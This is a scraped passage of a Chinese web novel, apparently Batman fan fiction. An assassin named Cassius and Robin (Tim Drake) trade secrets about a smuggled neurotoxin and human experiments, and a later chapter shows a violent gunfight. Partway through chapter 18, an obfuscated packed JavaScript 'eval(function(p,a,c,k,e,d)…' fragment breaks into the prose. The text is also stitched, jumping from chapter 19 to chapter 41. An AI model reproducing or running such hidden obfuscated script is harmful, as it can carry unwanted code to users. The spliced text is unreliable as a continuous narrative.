拉尔斯阻止了准备跳窗追出去的黑衣忍者，那人立即停下，恭敬地停在拉尔斯身后半步的位置。 拉尔斯随意扬手，手中的刀刃瞬间划破黑衣忍者的喉咙。 忍者猝不及防的猛地瞪大眼，血从他的颈部喷射出来。 “打输了，就别苟活了吧。” 他淡声说道。 17.第 17 章 哥谭的晨风有种属于这个城市的独特味道，像是裹挟着潮湿的铁锈，也像是在太阳升起前还没来得及消散的硝烟。卡修斯身上有多处刀伤，此刻正往外渗着血，罗宾将他半拖半拽地扶着，两人一起穿过楼顶的防火梯。 年轻义警的手臂位置也有伤，血在制服上晕开暗色的痕迹，卡修斯注意到了，他尽量让自己不要过分依靠对方，免得让他的伤口情况更糟。 两人一路上没说多余的话，卡修斯沉默地跟着罗宾，直到一起跃进一栋写字楼废弃的通风管道，罗宾才松开手，掀开地板暗门，露出一间布置简单的地下室。 罗宾先跳了下去，接着再次伸出手，示意卡修斯下来。 “下来，我接着你。” 卡修斯一时有些无语。 “我是受伤了，但还没虚弱到这种程度。” 他嘴里嘟囔着，在跳下去之前，还不忘将罗宾掀开的那块金属隔板盖好。 但是他的身体好像专门跟他对着干似的，刚跳下去，侧腹处最严重的伤口就因震动感受到的疼痛让他短暂的失了重心。 罗宾正如他说的那样，伸手架住了他。 两人的脸瞬间贴得极近，卡修斯甚至能感觉到自己的呼吸打在对方面具上，又反射回来的微弱气流。 感谢多米诺面具上的白色护目镜，让卡修斯不用面临四目相对的尴尬。 他感觉到自己的脸有些热，但又觉得很莫名其妙，不知道自己在脸红个什么。 如果他的记忆没出差错，此刻的罗宾应该还在上高中。 他不可能对一个高中生有什么不正直的想法。 话虽如此，但他的手有自己的想法，正搭在罗宾制服的“R”标上不受脑子指挥地摸来摸去，用指腹感受“R”标的轮廓。 然后，罗宾将他推开了。 卡修斯的手僵在半空，他有些尴尬地笑了笑：“你的制服做工还挺好……” 罗宾没搭理他，转身走向房间角落的柜子。 卡修斯看了看自己的手，对着自己的手指无声地说了句脏话。 他真的不是在X骚扰，只是罗宾的胸肌练得真的很不错，他下意识地想要摸一摸制服下有没有垫东西而已…… 卡修斯暗暗祈祷罗宾应该不会那么敏感，被同为男性的他摸一下应该也不会多想。殊不知当初他对着山猫坦荡表示自己喜欢男人的话，早已经通过卡洛琳·希尔离开酒吧包间时留下的监听器传到了罗宾的耳朵里。 他捂着腰侧的伤口，看了眼屋内浅咖色的真皮沙发，不打算糟蹋好东西，于是原地坐在了地板上。 罗宾已经从靠墙橱柜中拿出医疗箱，放在了卡修斯面前。 “多谢。”他接过绷带说。 罗宾从医疗箱里又拿出一卷绷带，帮自己包扎手臂。 他用牙齿咬着绷带尾端，一边帮自己缠纱布，一边不动声色地观察面前这位疑似从刺客联盟叛逃的青年。 昨晚初遇的时候，卡修斯身上还充满那种属于普通年轻人的对生活充满热情的朝气，但现在，这股气息凝滞下来，即便他刻意掩饰，提姆能很明显地感觉到对方身上散发出的沉沉郁气。 此刻卡修斯正机械地帮自己包扎，他的双眼正无神地盯着地面上某条毫无意义的缝隙。 “你……” 罗宾刚开口打算说些什么，就被卡修斯打断了。 “不管你信不信，我真的没杀过人。” 他的声音虽然轻，但是很坚定。 “蝙蝠侠会调查清楚的。”罗宾说。 他在感情上很想相信卡修斯，但理智又知道，作为拥有鹰首纹章的联盟顶级刺客，手里怎么可能没有鲜血。 “所以我应该谢谢你，当时你没出现的话，我真的会杀了那个忍者。如果他不死，死的就是我。” 卡修斯坦然道。 他低下头，掀起T恤下摆，往自己腰部缠绷带。他大半个后背对着罗宾，缠了一会儿，感觉到罗宾的视线停留在他身上好像都没动过。 “你在看什么？” 卡修斯一边问，一边固定好绷带尾部，放下T恤。 提姆在看他因为掀起衣服而露出来的后背。他发现对方背后尾椎的位置好像有个灰蓝色印记，但因为周围有血迹，还被裤腰遮住了一半，他并没有看得太清楚。 “你有纹身？” 罗宾问。 卡修斯意外的抬了抬眉毛：“没有。怎么？” “没什么，大概我看错了。” 罗宾说。 刺客联盟的杀手为了避免任务失败被识破身份，身上是不可能有纹身的，罗宾觉得可能是自己真的看错了。 说完，他拿起一支止血胶往自己后肩挤，但因为受伤的位置太靠后，每次都差一点。 “我来帮你吧。” 卡修斯伸手，示意他把止血胶给他。 罗宾只短暂的考虑了一下，就将手中凝胶递给他。 卡修斯接过，绕到他身后，帮他涂好止血胶，又拿过他身边的绷带，替他包扎。 两人离的有些近，卡修斯的呼吸喷到罗宾的脖颈，年轻的义警忍不住歪头躲了一下，又抬手摸了摸自己的脖子。 卡修斯顿住了，他想起昨晚，卡洛琳·希尔也做了一模一样的动作。 这已经是他第二次在罗宾身上无端联想到昨夜的那个女孩儿了。 “卡洛琳·希尔？” 卡修斯脱口而出。 安静了一会儿，罗宾才向上抬起眼，疑惑道：“你在叫谁？” 可惜这种程度的装傻并不能敷衍卡修斯，昨天在他身上和家里放置监控设备的就两个人，蝙蝠侠和那个女孩。 他的视线落在罗宾身上，他的黑色短发因为一连串的打斗和疾跑，现在显得有些凌乱，卡洛琳·希尔的金色长发即使在高强度的运动之下，也显得柔顺异常，漂亮的不像是真的。 卡修斯知道这张多米诺面具之下一定是一双蓝色的眼睛，就是不知道这双蓝眼是不是和卡洛琳·希尔长得一模一样。 他不知道自己为什么会突然将这两个性别都不同的人联想在一起，他将这归结为无法用科学解释的，神棍的神秘第六感。 昨天他和卡洛琳相处的大部分时间里都是在打架中度过，除了一开始和尼尔一起时的打量，之后他根本没有长时间将自己的目光落在女孩身上。 此刻即便他近距离的打量这位年轻的蒙面义警，唯一能确定的是，两人的身高应该差不多。 卡修斯知道蝙蝠家的义警大都擅长变装，身形上看，卡洛琳要比罗宾更丰盈一些，但这张脸，罗宾的脸型要比卡洛琳的更有棱角一些，鼻头的形状也不太一样。 两人的气质也大径相庭。罗宾身上有种更凶悍的冷静，卡修斯认为，这也许跟他制服的配色有关。 红黑配色的罗宾制服……，如果卡修斯没记错的话，这个制服配色是罗宾为了纪念他死去的伙伴超级小子康纳·肯特而特别修改的。 他知道这个罗宾是提姆·德雷克。 现在的问题就是，罗宾会是昨晚的卡洛琳·希尔吗？ 罗宾的出现终于让他昨晚对蝙蝠侠用未成年少女当线人的事实有了更合理的猜测——卡洛琳·希尔就是眼前的罗宾。 但是有一点，卡洛琳·希尔昨夜扭伤了脚，大家分开的时候，他还能看到对方肿的跟馒头似的脚踝，但罗宾的行动却异常灵活，更没有脚腕受伤的痕迹。 他想起留在住处的高跟鞋，如果能让罗宾试穿一下，答案自然就揭晓了。 这是什么灰姑娘剧情，他为自己的异想天开笑了一声。 罗宾想起昨晚蝙蝠侠的警告，说卡修斯可能知道他们所有人的身份，蝙蝠侠特意嘱咐自己不要把罗宾这个身份暴露在卡修斯面前。在当时的情景下，提姆认为蝙蝠侠的意思就是不要让对方把罗宾和卡洛琳·希尔这个身份关联起来。 他本以为是布鲁斯过于多疑敏感，但现在他知道，蝙蝠侠总是对的。卡修斯大概真的知道他们所有人的秘密身份。 今早提姆以准备考试为由，提早离开家，其实是为了来找自己“遗失”的高跟鞋。 他很确定鞋子一定是被尼尔·卡夫瑞拿走了，但按之前自己监听到的他们之间的谈话内容，卡修斯急着让尼尔和哥谭的事务做切割的态度，提姆推断，现在那只鞋很可能已经被卡修斯要了去。 他本想悄悄潜入尼尔的房间，拿回那只鞋子，但没想到竟然会在远处做最后一次观察的时候，看到了拉尔斯的身影。 提姆表情不动，只微微侧头，重复了一遍：“卡洛琳·希尔是谁？” 卡修斯也没有很失望，他知道即便自己的猜测是真的，罗宾也不可能轻易承认。 “好了。”他已经完成了包扎，将绷带放回医疗箱，笑道，“一个能用大腿夹晕2米壮汉的未成年少女。” 罗宾听出他的调侃，但没接 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如果他真的是刺客联盟培养出来的杀手，不可能用这种随意的语气提起恶魔之首。据他所知，刺客联盟的所有杀手，都将拉尔斯·奥·古奉若神明，也将他的话奉为神谕。他们认为自己存在的意义就是为了拉尔斯永生的伟业，即便拉尔斯让他们当场去死，这些人都不会有分毫犹豫。他们不可能背叛刺客联盟，更别说像今天这样，对拉尔斯兵戎相向。 他今天本来想神不知鬼不觉的找机会潜入，找到鞋子并拿回它，但看到拉尔斯之后，他意识到事情的严重性。 他立刻将消息传达给了蝙蝠侠，刚刚收到布在卡修斯家全部监控被破坏的告警的蝙蝠侠则命令他原地待命，监视拉尔斯，不要轻举妄动。 罗宾知道拉尔斯不是自己能对付的了的，他遵从命令一直在远处观察，直到他看到卡修斯和刺客动手。他能从望远镜中清楚地观察到，他们在以命相搏。 所以他违背了蝙蝠侠的命令——“原地待命”以及“不要暴露罗宾和卡洛琳的关联”这两条，擅自冲了进去。 无论卡修斯杀死刺客还是被杀，都是他不想看到的。但即便如此，他也没指望过对方会帮自己一起对付拉尔斯。 他认为自己能撑到蝙蝠侠赶到的那一刻，只是没想到，卡修斯居然真的会和他一起对抗拉尔斯。 卡修斯刚才还说自己没杀过人。提姆对自己之前的猜测更肯定了几分，眼前这个“刺客”，即使不是失忆，他的记忆或者精神也很有可能出现了问题——他根本不认同自己“刺客”这个身份。 问完关于他的身份问题后，罗宾紧紧盯着卡修斯的脸，不想错过他的任何一个表情。 卡修斯先是怔愣了一会儿。 是啊，他是谁。 他是生活在法治社会的普通社畜卡修斯·希尔，还是这个危险的幻想世界的法外狂徒？现在，连他自己都不知道这个问题的答案。 他想知道这具身体原本的主人身上到底发生了什么。 他不知道尼尔和拉尔斯之间有什么关联，自己为什么能读到他们两人的心声，这和拉尔斯说的“实验”会不会有关。 他听到拉尔斯提到“样本”和“药品”，还有黑面具和俄罗斯黑邦之间的走私交易，他觉得自己和这些有关，他现在得弄清楚他们走私的到底是什么。 但眼前的人，似乎可以帮他探寻答案。 因为他是提姆·德雷克，是9岁就发现蝙蝠侠和罗宾秘密身份的天才少年，是被恶魔之首认可的，除蝙蝠侠之外的另一个“侦探”，也是整个蝙蝠家中，最像蝙蝠侠的人。 “我只是卡修斯·希尔。”卡修斯说。 “没有任何合法的文件能证明。”罗宾说。 马上就有了。 “你真的失忆了？”罗宾再问。 不愧是不输蝙蝠侠的侦探啊。卡修斯在心中感慨。 “可以帮我一个忙吗？” 他没有回答，转而问道。 罗宾挑眉，示意他继续说下去。 “我想知道，昨天那个叫卡洛琳·希尔的女孩，从那帮人身上带走的到底是什么。” 卡修斯说。 拉尔斯出现之前，他对这些不感兴趣，但现在，他觉得自己有必要知道。 他笃定，就算罗宾不是卡洛琳·希尔，他也一定认识她。 他想要弄明白拉尔斯心里想的那些话到底是什么意思，那么有刺客联盟介入的走私物是什么，就相当重要。 18.第 18 章 “别说你不知道，卡洛琳·希尔在为蝙蝠侠做事，所以它们现在一定在蝙蝠侠的手里，而你也是他的助手。” 卡修斯在罗宾开口拒绝他之前，先开口。 “你都说了，我和蝙蝠侠才是同盟，又怎么会向你透露重要情报？”罗宾反问。 提姆很好奇，他不觉得卡修斯是这么天真的人，直觉他可能有后手。 卡修斯丝毫不意外地点头：“我知道。你不会轻易说，所以我想用另外一个你非常在意的消息交换。” 罗宾挑了挑眉，觉得自己猜的还是挺准的。他有些好笑又有些随意的问：“那要看你的情报有多重要，值不值得我违逆蝙蝠侠，向你透露这些消息。” 他根本不觉得卡修斯会有什么值得他重视的情报，况且，以蝙蝠侠和他自己的情报能力，只要卡修斯说出这个消息和什么有关，他就能顺藤摸瓜的查出事情的全貌。 他有些恶趣味的想，无论卡修斯打的什么主意，他的期待注定是要落空了。 卡修斯看着姿态放松的罗宾，缓缓呼出一口气，说：“你换了制服的颜色……” 罗宾原本不大在意的表情忽然僵住。卡修斯能感觉到，他浑身的肌肉似乎都紧绷成了一个随时准备攻击的姿态。他继续说下去：“是为了纪念你死去的朋友，超级小子是吗？” 只一个呼吸的功夫，罗宾一下子冲到了卡修斯的面前，一把拽住他的领子，将他狠狠怼在了墙上。 他从没将罗宾制服的传统红绿配色改成了红黑色的原因诉之于口，但他的亲人和密友都知道为什么。这是大家心中无法抚平的伤痛。但，也仅限于他的亲人和朋友们。 卡修斯·希尔不该知道这些。 “你到底是谁？知道些什么！”他的语气粗粝而凶狠，在变声器的加持下，听上去就像是一只愤怒的厉鬼。即使在此之前，罗宾的声音一直是通过变声器传达的，语调也从没这么凄厉和恐怖过。 如果卡修斯听过蝙蝠侠说话，那一定会发现，这声线几乎和蝙蝠侠的声音如出一辙。 卡修斯感受到了这份不顾一切的怒意，一时间走着了愣住。 “如果你不说，我会帮你提前预习一下蝙蝠侠的刑讯风格。” 罗宾的声音听上去泛着丝丝寒气。 “咳……咳……你卡的……太紧了！” 卡修斯尽可能的表现出自己的无害和友善，他用手抓着罗宾带刃的臂甲，想要让他松开些。 罗宾看了眼他被臂刃硌出血线的手掌边缘，慢慢松开手，但立刻抽出长棍将他再次禁锢在自己和墙壁之间。 “快点说，别再耍花招了。” 罗宾的语气冷酷，在这之前的友善仿佛都是卡修斯的错觉。 “我说过，这是一个消息交换。” 卡修斯揉了揉自己的脖子，让自己保持镇定镇定。 他知道，提姆·德雷克非常在乎康纳·肯特，他甚至尝试通过克隆的形式复活对方，所以他一定不会错过和超级小子相关的消息。这是他能拿出手的，能和罗宾作为交换的消息。 罗宾看着面前的人，他的态度笃定，神色沉稳，对自己的提议相当胸有成竹。 有那么一瞬间，提姆想将他立刻绑去蝙蝠洞。布鲁斯说他能听到卡修斯的心声，那就让他直面蝙蝠侠，不愁得不到想要的情报。 “罗宾，这不是一个威胁，它对我很重要，我必须弄清楚这个，如果你拒绝的话，我只能想办法重新回到拉尔斯身边，从他身上找答案了。” 卡修斯稍微耍了点小心机，他清楚这些义警的道德标准，他们不可能让一个“迷途知返”的杀手，被迫重回刺客联盟。 罗宾沉默了很久，终于，他开口道：“面具帮走私的是一批类固醇类神经毒素。” “它们的作用是什么？”卡修斯马上追问。 罗宾看了他一眼：“消息的交换，难道不应该是我说一条，你说一条吗？” “超级小子还活着。”卡修斯直接说。 空气中陷入了长时间的安静，他们之间的距离很近，所以卡修斯能敏锐的察觉到，在他说完后，罗宾原本放的很轻的呼吸都停止了。 只要罗宾答应了，那他就不担心对方会欺骗他。卡修斯知道，这个消息对罗宾来说，绝对值得。 “他……他在刺客联盟？是拉撒路池吗？” 罗宾的声音放的很轻，甚至都有些小心翼翼的脆弱。 “该你回答我的问题了。”卡修斯说。 罗宾深吸一口气，说：“具体的作用还不明确，我们得到的资料还不够多，但他们在利用这种神经毒素在做人体实验。” 卡修斯喃喃地重复了一遍：“人体实验？” 罗宾看着他的反应，意识到，也许卡修斯对“人体实验”知道些什么，但他现在还是更想知道关于康纳的消息，所以接着说：“该你了。” “他不在刺客联盟。” 卡修斯说。 罗宾怀疑的看着他，他原本判断卡修斯失去了自己在刺客联盟的记忆，但现在看来，好像并不是这样。 “那他在哪儿？” “你能暂时向蝙蝠侠隐瞒我的行踪吗？” 卡修斯请求道。 罗宾知道，这是新一轮的交换。他大概能猜到卡修斯想要做什么——他想亲自跟进这桩走私案。但如果现在让他们碰面，无论是为了审讯还是保护他的安全，布鲁斯都不可能再让他接触和刺客联盟相关的任何事。 “蝙蝠侠很难被欺骗。”罗宾说。 “我没有让你骗他，只是暂时的隐瞒。如果这里有谁能瞒过蝙蝠侠的话，我相信一定是你。”卡修斯说。 毕竟你是最像蝙蝠侠的罗宾。 “你很了解我们？”罗宾隐在面具后的眼神非常警惕。布鲁斯断定卡修斯知道他们所有人身份的这条情报的含金量还在增加。 “哥谭人都知道，罗宾是蝙蝠侠最重要的助手。”卡修斯回答的滴水不漏。他知道阿尔弗雷德的存在，但他不可能暴露自己。 沉吟一阵，罗宾终于下定决心道：“那要看你给我的消息值不值得我冒这个风险。” 卡修斯点了点头，按照曾看过漫画的记忆说： “他的意识存在于‘天堂维度’，他……” 说到一半，忽然就张着口，再也说不下去了。 “他……” “我也知道他一定会上天堂，所以他在哪儿？！”罗宾皱了皱眉，卡着他的长棍更用力了些。 “他……” 卡修斯的嘴张张合合，但就是再也说不出接下去的话。 “你在骗我？”罗宾怒道。 在尝试了多次，发现自己确实无法说出有关超级小子的去处时，他只好放弃了。 “我没办法说出来，但他确实没死。” 最后，卡修斯只能这么说。 隔着护目镜，他没办法看到罗宾的眼神，但他知道，这种说法有多可疑。 他本想用超级小子能复活这个消息来做交换，但他忘了自己好像没办法剧透，上次想对尼尔透露些消息也遇到了这种情况，真不知道这种鬼限制的科学依据是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完，通讯就被挂断。 罗宾盯着卡修斯看了一会儿，看得他心里有些发毛。 “怎么了？” 他不怀疑蝙蝠侠的侦查能力，看到罗宾这个表情，他就觉得罗宾没能骗过蝙蝠侠，不过他也不怪罗宾，蝙蝠侠当然没那么好骗。 他不动声色的调整姿势，打算如果罗宾真的要抓他，他至少要反抗一下。或者可以和罗宾打个商量，拦他的时候别那么认真。到时在蝙蝠侠面前可以说是他自己逃走的，而不是罗宾有意欺骗。 卡修斯在防备的同时，还在努力集中精神——既然他能听到拉尔斯和尼尔的心声，是不是其他人也可以？比如说罗宾的心声？如果读心术就是他穿越后得到的金手指，至少，他能凭借这个技能，规避大部分生存风险。 可从他遇到罗宾到现在，数次刻意集中精神聆听，面对拉尔斯时那种随时钻入脑海的声音也没有再次响起。 卡修斯有些失望，又有些疑惑，他到底为什么能听到拉尔斯尼尔和山猫的心声，罗宾的就不行？这项能力的触发机制是什么？ 正想着，罗宾再次开口了：“和拉尔斯杀一起的那个刺客死了，你知道他是谁吗？” 卡修斯愣了一下，第一反应是：“什么？死在我家了？” 罗宾看着他不说话。 19.第 19 章 看着他的表情，卡修斯这才思考罗宾问他这个问题是什么意思。 他想起听到过拉尔斯心里说的，有关“复制品”的话，眼神不自觉地回避了罗宾的直视。 “你知道他是谁。”罗宾肯定地说。 卡修斯立即摇头：“他蒙着脸，我不知道。” 说完他还特意补充了一句，“我说的是真的。” “蝙蝠侠说，死的那个人是卡修斯·希尔。”罗宾看着面前的人，一字一句地说。 卡修斯心里已经隐隐有了猜测，所以只小声地“啊”了一声。 罗宾看着卡修斯怔忪的表情，就猜到他应该对这个结果有所预料。再加上他执意想要知道和走私物有关的事，他突然有了个大胆的猜测。 卡修斯·希尔很可能是刺客联盟里最早的那批实验品。 刺客联盟不仅和这次走私有关，并且还在做和克隆相关的实验，那么，卡修斯提供的有关康纳的消息就变得更可信。 “我现在要离开，你……”罗宾开口。 “我留在这儿。”卡修斯知道他想说什么，马上接话。 罗宾知道卡修斯还没有放弃神经毒素的调查。他应该将卡修斯还活着的消息告诉蝙蝠侠，让卡修斯立即接受监管和保护。但他有私心，他想通过卡修斯找回康纳。 罗宾从腰带里取出一枚通讯器递给他。 “保持通讯，还有……” “不要逃跑。”卡修斯接过通讯器，帮他说完了下半句。 “放心，我不会跑的。等弄清楚这种神经毒素和我的关系，我会主动接受蝙蝠侠的询问。”卡修斯说。 罗宾冲他点了点头。 “谢谢。”卡修斯说。 “不需要谢我，既然你知道超级小子没有死，那你一定有办法将他带回来。我不是信你，只是不想放弃任何一个带回他的可能。不过如果你骗我，我会让你后悔。” 罗宾转身打算离开，他抓着门把手，走出房间之前，又回头对卡修斯说，“既然拉尔斯故意让‘卡修斯·希尔’的尸体暴露，那他对你一定还有其他企图，所以不要擅自行动。” 卡修斯点头：“我知道。” 罗宾最后看了他一眼，将地上沾血的绷带收拢在一起，离开了安全屋。 卡修斯看着已经关上的门，在心里对罗宾轻轻说了声对不起。 提姆抵达蝙蝠洞的时候，蝙蝠侠正对着主控台前的大屏幕凝神思索。电脑屏幕的蓝光在蝙蝠战甲上投下冷光，他的头盔放在手边的台子上，因此，提姆能清晰地看到布鲁斯眉间的沟壑，很显然，在他下到蝙蝠洞之前，对方正遇上了一些难题。 听到楼梯处的响动，布鲁斯微微转头，将视线投向穿着制服的提姆。他仍旧戴着多米诺面具，而且也没有摘下来的意思，但布鲁斯暂时并没有在意这些细节。 他先将提姆从头到脚打量了一遍，目光在他身上几处制服破损处停留了几秒，本想直接进入重点的询问在口中拐了个弯：“伤得很严重？” “没有，只是一些皮外伤。”提姆马上否认。 “那你耽误了有点久。”布鲁斯的语气有点怀疑。 “我在回来之前又去了趟学校，今天有考试，缺考的话总该亲自和老师说一声。”提姆说。 布鲁斯立即意识到自己的疏忽，他恍然道：“抱歉，是我忘了，我该提醒阿尔弗，帮你请假的。” 正在蝙蝠洞另一个角落保养蝙蝠车的阿尔弗听到后抬起头，他深深的看了提姆一眼，然后低头将手边的工具整理好，又在清洁区洗了手，才慢慢走了过来。 “反正从安全屋过来刚好路过学校，不麻烦。” 提姆赶忙摆了摆手，随后看向主控台屏幕上正在缓慢旋转的分子式。 布鲁斯没有忘记紧急将提姆召回蝙蝠洞的原因，他将这个插曲放到一边，调出一份血液分析报告和骨骼模型，又将这些材料和分子式展示在同一个屏幕中。 “这是旅馆里那具尸体的骨骼模型和血液分析报告，以及从受害人血液中分离出来的一些未知的化学结构，它和你昨晚带回来的试剂样本的分子结构重合度很高。” 提姆专注的看着屏幕上缓慢转动的可视模型，除了未知的那一部分，他还看到拉撒路池水的分子结构像毒蛇一样缠绕在那组化学式上。 阿尔弗雷德又打开了一段视频，上面显现的是旅馆里那句黑衣人的尸体，蝙蝠侠的战术手套拽着他的面巾，将它褪到下巴以下。视角来看，这应该是蝙蝠侠护目镜上的摄录功能拍下来的。 “这是？”提姆惊讶的看着视频上的一幕，被摘下面巾后，刺客的容貌立刻显示在镜头下，但这张脸变化的很快，在短短的一分钟内，已经从青年形象衰败为中年的面容，直到蝙蝠侠重新将面巾拉上去，从他眼周暴露出来的皮肤来看，尸体是在持续衰败的。 “我让吉姆帮我留意过了，这具尸体刚送到警局的法医部门，就已经完全腐败。” 视频还在循环播放，最开始那几帧的画面里，那张脸和卡修斯确实有些相似，只不过从骨龄上来看，要比卡修斯年长许多。提姆怀疑这个人在死之前，也许真的和卡修斯长的一模一样。 “戈登局长还在尸体的脚踝处发现一串刺青。”阿尔弗说着，点开另一张图，那是一张干枯脱水的小腿以下部分的照片，脚踝上的刺青因为皮肤的老化，已经变得难以辨认，但还是可以看上，那像是一组编号。“CS-02-XX……” 最后那串数字后面跟的内容实在看不清，无法辨认到底是字母还是图形。 提姆盯着这一系列单独提取出来的纹身证物照片，一言不发。 “今天你为什么擅自前往卡修斯·希尔的住处，提姆，你到底在隐瞒什么？” 布鲁斯问道。 提姆在面具后眨了眨眼，见布鲁斯始终盯着他的脸，于是摘下面具，直视蝙蝠侠怀疑的眼神。 “昨晚卡洛琳·希尔的高跟鞋遗失了，我认为是卡修斯拿走的。抱歉，这只是一个小失误，我本想着今天悄悄拿回来，没那么复杂的。” 提姆垂着眼说。 “而我昨晚已经告诉过你了，不要再单独接触卡修斯·希尔，作为刺客联盟的顶尖杀手，他非常危险。” 布鲁斯严肃的说。 这在提姆听来，就是在质问他为什么违抗命令。 “我没想再跟他接触，本来是想拜托莱斯利找个借口让他离开住所，我潜入进去找的。”提姆低声为自己辩解，一开始他确实是这么想的。 “你没有听我的，擅自和拉尔斯交手了。”布鲁斯沉声道，他勘察过现场，知道罗宾在通讯里说了谎。 “拉尔斯有多危险，应该不用再向你赘述。”蝙蝠侠看着他，语气越发严厉起来，“到底是为了什么，让你能不 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提姆坦然的笑了笑：“我知道，布鲁斯，这次确实是我犯下的致命错误，是我心存侥幸，才导致这种事情发生。” “我没想到拉尔斯·奥·古会现身，对不起。”提姆再次道歉。他知道布鲁斯的心结是什么，也认同在哥谭，义警的工作容不得半分侥幸。所以就算被苛责，他也能理解。 “我们谁都没想到。”布鲁斯也低声重复。 拉尔斯一定是一早就到了哥谭，只是他竟然会为了见卡修斯·希尔而暴露行踪。蝙蝠侠不认为这是恶魔之首的疏忽。卡修斯·希尔身上一定隐藏着极大的秘密。 “刺客联盟这次非常谨慎，在你拿到样本前，我们都以为这只是一次普通的黑邦间的D品交易。” 提姆抬眼看向布鲁斯，知道他还有未尽之言。 布鲁斯点开另一份文件。 “你拿来的药剂样本和资料，我昨晚已经研究过，加上今天这具尸体的状态，”布鲁斯讲两组分子式放到一起，接着说：“这种神经毒素，疑似能够开发人类的潜能——对某些特定的个体。” 说着，阿尔弗雷德调出另外一份资料。 “这是我们黑进哥谭大学医院实验室的数据库获得的资料。”阿尔弗对提姆说。 “你怎么查到这儿的？”提姆看向布鲁斯，顺口问道。 “我咨询了昨晚你们留下的还清醒的人。”布鲁斯简短的解答道。 “您的‘咨询’方式很高效。”阿尔弗忍不住吐槽他的用词。 一份加密档案被强行破解：「Subiect cs-03-x——Subiect cs-07-x：存活率0.17%，基因突变方向未知」。 接下来是连着好几页的实验结果，档案末尾的实验体照片让提姆瞳孔骤缩——二十多名年轻男女躺在实验台上，皮肤上爬满了青绿色脉络，照片放大，他们的脚踝处无一不刺有编号。 布鲁斯又点开一份档案，那是一份留存在GCPD的，十年前的失踪档案。 “这里有几个人的DNA信息和十年前的失踪人口符合。” 蝙蝠侠沉声说。 但提姆已经没在仔细听了。他在卡修斯身上似乎也看到过和这些纹身非常类似的内容，只是他那疑似纹身的东西是在尾椎位置而不是在脚踝处。 40-50 第41章 我要开始鲨人了。 卡修斯的皮鞋碾过污水厂黏腻的地面，右手的柯尔特蟒蛇左轮在指尖转出半个弧度。 “抱歉啊，我要开始杀人了。” 他看着围住他的刺客们，轻声预告道。说罢，他扣动扳机，手枪的轮盘转动起来。 十几名刺客瞬间包围上来，但都没能靠近卡修斯。 一声沉闷的枪声响起，几个他背后的杀手应声倒下。卡修斯回头看去，阿尔弗雷正在给手中的霰-弹/枪填弹，半个呼吸间，他就再次架好了枪。 卡修斯刚才用它的时候心里默数过，他的填弹时间差不多在2.5-3秒之间。他自认装弹速度已经够快，但还是不及管家。 阿尔弗雷德将枪管架在车窗之间，微笑着对卡修斯说：“老朽为您看顾背后，希尔少爷，祝您武运昌隆。” “砰”一声，特质的橡胶弹丸从枪口喷射而出，再次阻止了刺客们对卡修斯的一拥而上。 卡修斯看了一眼远处瞄准自己的火箭筒，抬手打空一轮弹巢，为自己开出一条路，径直朝着沉淀监测塔冲过去。 一名躲过子弹的刺客从侧面贴近，搭上他的手臂，卡修斯反手握住他的手腕，躬身，腰部带动肩膀用力，直接将人甩了出去。 那人踉跄后退着撞上铁架，锈蚀的管道轰然倒塌，扬起一阵刺鼻的酸雾。 卡修斯屏住呼吸，趁机翻滚到断裂的管道后，借着灰雾的视线干扰，又射出六发子弹。 之前上演速度与激情的时候，霰-弹/枪击中过这些刺客，即便是橡皮子弹，应该也是有一定冲击力的，但当时那名被击中的刺客只是被震地侧了侧身，卡修斯就知道他们身上穿了防弹衣，所以他只能朝对方裸露出来的位置打——脸。 “砰！” 眼睛。 “砰！” 喉骨。 “砰！” 颧骨。 “砰！砰！砰！” 眉心。 靠近他的杀手们纷纷倒下。 他又摸出六颗子弹，装进弹匣。 “砰！” 火箭-弹拖着尾焰撕裂空气，卡修斯瞳孔紧缩。他猛地拽开旁边的应急阀门，同时蜷身滚开。高压水柱从管道出口喷涌而出，火箭·弹被水流冲击得微微偏移轨道，击中了旁边的消化塔。 消化塔塔身随着巨响被炸出一个窟窿，浑浊的深灰色气雾喷薄而出。爆炸产生的气浪将及时滚到一边的卡修斯又掀出去好几米远，撞在不远处的曝气塔上，发出一声闷响。 他咳嗽几声，单手将自己撑起来靠在布满锈蚀的塔身上，又抬起手背蹭掉嘴角的血迹，隔着浓雾看向那波冲向自己的刺客。 断掉的肋骨还是影响了他的速度，否则他能跑得更快。 不过那些追着他的刺客们也没落着什麽好，直接正面接了火箭-弹爆炸产生的冲击，再牛逼的防弹衣也救不了他们的命，当场嗝屁。 这算不算是痛击队友？ 卡修斯低声笑了笑，笑声震到了他的肋骨，他龇牙咧嘴地嘶嘶抽了一口气。 远远望过去，阿尔弗雷德宝刀不老，端着一把霰·弹/枪，所有刺客都没法近身他五米之内。高塔之上的RPG没有理睬老人驾驶的车辆，而是一直追踪瞄准他。这让他松了一口气。 从没想过自己居然还有被火箭-弹瞄准，这次能活下来的话，这个牛逼他能吹一辈子。 卡修斯再次撑着身后的塔身站了起来，他抹了把脸上的混着血污的汗水，看向从不断泄露的浓雾里隐约闪现的黑色身影。 他迎着雾气冲上去，将枪换到左手，用枪管抵住距离他最近的下颚。 “砰！” 温热的液体溅上他的脸，但他没有眨眼，任由血雾飞溅进他的眼睛。 卡修斯感觉到血管里的血仿佛都在沸腾，这种嗜血的兴奋感迟钝了他的神经，屏蔽了他的痛感，让他的身体都跟着变得轻盈起来。 他右手在下，接住从面前的尸体手中掉下来的武士刀，扭转脚腕，直接将刀尖插入身后冲过来的第二个刺客的身体。 他又听到了霰-弹散射的声音，侧头望去，隔着雾气看到劳斯莱斯的黑色车身也移到了自己不远处的位置。管家又开一枪，拦住了他来不及阻挡的敌人。 近距离的散弹即便是橡胶弹，也足以造成伤害。有阿尔弗在，刺客没办法对他蜂拥而上。 而这并不是想要他命的杀手希望看到的。 卡修斯立即抬头看向监测塔，高处的火箭-筒果然将炮口开始对准阿尔弗雷德。 他后颈的汗毛倒竖：“离开这儿！” 阿尔弗雷德单手抓着方向盘，一个漂移，直接窜了出去。 卡修斯将串在刀上的刺客踹开，朝着监视塔狂奔。 一枚火箭-弹如期而至，落在了劳斯莱斯后车轮五米远的地方，车子被火箭-弹爆炸的气浪直接掀翻，防弹玻璃应声而碎，车子在半空中翻了几圈，才重重落地，车头直接在落地的时候被自身的重量压扁。 